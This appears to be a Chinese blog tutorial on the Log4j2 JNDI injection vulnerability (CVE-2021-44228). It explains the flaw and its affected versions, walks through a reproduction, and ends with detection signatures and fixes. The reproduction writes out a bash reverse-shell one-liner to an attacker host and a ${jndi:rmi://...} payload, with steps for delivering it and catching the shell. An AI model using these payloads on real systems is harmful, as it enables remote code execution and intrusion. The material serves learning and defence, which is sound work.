服务攻防之开发组件安全

ops/2024/11/2 15:46:00/

我们来了解两个比较火的开发组件的安全问题,一个是log4j,一个是fastjson。我们从它的原理到复现来对他进行学习!这篇文章我们先来学习一下log4j!

Log4j2远程命令执行(CVE-2021-44228)

1、什么是 log4j 和 log4j2


log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

2、什么是 JNDI


JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。

3.漏洞原理

log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。

详细过程分析:

log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。

当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息,通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找,只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件,而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。

4.影响版本范围

受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2

5.搭建环境并验证漏洞

maven 的安装与配置(Command ‘mvn‘ not found)修改配置文件后新终端依旧无法识别到 mvn 命令_command not found: mvn-CSDN博客log4j2 远程代码执行漏洞复现(CVE-2021-44228)_log4j命令执行流量特征-CSDN博客

哪里不懂可以参考一下这两篇文章!

bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1

Runtime.exec Payload Generater | AresX's Blog (ares-x.com) base64编码网站,大家自己找一个也行,用这个也行!

编码后替换我们截图里那一大长串就🆗了!

然后构造payload:

${jndi:rmi://192.168.6.128:1099/xhhwcm}

这里换成你们自己的就行了,然后把这个payload进行url编码,然后传参即可,如果是post请求就用bp抓包改包,然后起一个端口接受shell就行!

6、流量特征与防御措施


1、log4j2 漏洞流量特征


(1)恶意请求中包含 JNDI 协议地址:

攻击者通常会在 HTTP 请求或其他网络流量中插入包含 JNDI 协议地址的字符串,如"ldap://"、"rmi://"等。这些字符串会被log4j2解析为 JNDI 查找,从而导致远程代码执行。

(2)日志记录消息中包含可执行代码:

攻击者构造的恶意日志记录消息可能包含可执行的Java代码,如 JNDI 注入 payload 。这些代码会被 log4j2 解析和执行,从而触发远程代码执行漏洞。

(3)异常堆栈中出现与 JNDI 相关的类或方法:

在应用程序的异常堆栈中,可能会出现与JNDI相关的类或方法,如javax.naming.directory.InitialDirContext 等。这表明攻击者已经成功地利用了 log4j2 漏洞,执行了远程代码并导致异常。


(4)大量的异常日志记录: 

攻击者可能会尝试多次利用 log4j2 漏洞,因此在日志中可能会出现大量的异常日志记录。这些异常日志记录通常会包含与 JNDI 相关的内容,如 JNDI 协议地址或异常堆栈信息。

2、log4j2 漏洞防御措施


(1)设置 log4j2.formatMsgNoLookups=True:

这个设置将禁用 log4j2 中的消息查找(Lookups),这样可以防止恶意代码利用 JNDI 注入漏洞。通过设置此选项,log4j2 将不会解析消息中的变量或执行 JNDI 查找。


(2)对包含特定字符串的请求进行拦截:

监测应用程序的日志,如果发现其中包含"jndi:ldap://"、"jndi:rmi://"等可疑字符串,可以使用WAF(Web应用程序防火墙)或 IDS(入侵检测系统)等工具来拦截这些请求,从而阻止潜在的攻击。


(3)对系统进行合理配置,限制对外访问:

配置网络防火墙,限制系统对外部网络的访问,并阻止不必要的业务访问外网。


(4)升级 log4j2 组件到新的安全版本:

及时升级 log4j2 到最新的安全版本,以修复已知的漏洞并增强系统的安全性。


http://www.ppmy.cn/ops/130461.html

相关文章

vscode和pycharm在当前工作目录的不同|python获取当前文件目录和当前工作目录

问题背景 相信大家都遇到过一个问题&#xff1a;一个项目在vscode&#xff08;或pycharm&#xff09;明明可以正常运行&#xff0c;但当在pycharm&#xff08;或vscode&#xff09;中时&#xff0c;却经常会出现路径错误。起初&#xff0c;对于这个问题&#xff0c;我也是一知…

[论文阅读]Detecting Pretraining Data from Large Language Models

Detecting Pretraining Data from Large Language Models http://arxiv.org/abs/2310.16789 这篇文章正式提出了Min-k%方法来实现成员推理攻击 贡献 介绍了WIKIMIA动态基准测试。旨在定期自动评估任何新发布的预训练 LLMs。通过利用 Wikipedia 数据时间戳和模型发布日期&am…

从 classList 到 DOMTokenList: 简化类名管理的工具

引言 在现代的网页开发中, 与用户界面交互的核心是操作和控制 DOM。 其中, 处理元素的外观和交互是不可或缺的一个环节, 而其中 classList 和 DOMTokenList 作为一个强大工具, 为开发人员提供了便捷的方式来管理 DOM 元素的类名。 在这篇文章中, 我们将简单梳理下 classList …

SpringBoot整合minio服务

这里我选用的是JDK1.8 SpringBoot2.3.12.RELEASE 一、导入依赖 <dependency><groupId>io.minio</groupId><artifactId>minio</artifactId><version>8.2.2</version> </dependency> 二、导入工具类 注意&#xff1a;需要在…

NET Framework的AOP实施方法1 ContextBoundObject

NET Core的AOP实施方法1 DispatchProxy NET Framework的AOP实施方法1 ContextBoundObject NET Framework的AOP实施方法2 RealProxy 源码见Github ContextBoundObject NET Framework需要实现AOP&#xff0c;可以借助于System.Runtime.Remoting.Contexts命名空间中的ContextBo…

动态ip如何自动更换ip

在探讨如何自动更换动态IP地址时&#xff0c;我们首先需要理解动态IP的基本概念。IP地址&#xff0c;即互联网协议地址&#xff0c;分配给每台连接到互联网的设备的唯一标识符。与传统静态IP地址不同&#xff0c;动态IP地址是由网络服务提供商&#xff08;ISP&#xff09;动态分…

linux命令行的艺术

文章目录 前言基础日常使用文件及数据处理系统调试单行脚本冷门但有用仅限 OS X 系统仅限 Windows 系统在 Windows 下获取 Unix 工具实用 Windows 命令行工具Cygwin 技巧 更多资源免责声明 熟练使用命令行是一种常常被忽视&#xff0c;或被认为难以掌握的技能&#xff0c;但实际…

【Unity实战笔记】第二十二 · 基于SMB的角色控制中遇到的一些问题(斜坡移动鬼畜、落地卡顿、角色突进、头发动画失效等)

【Unity实战笔记】第二一 基于状态模式的角色控制——以UnityChan为例【Unity学习笔记】第十一 动画基础&#xff08;Animation、状态机、root motion、bake into pose、blendTree、大量案例&#xff09; 注&#xff1a; 本文紧接上一篇 Unity实战笔记 第二一&#xff0c;补…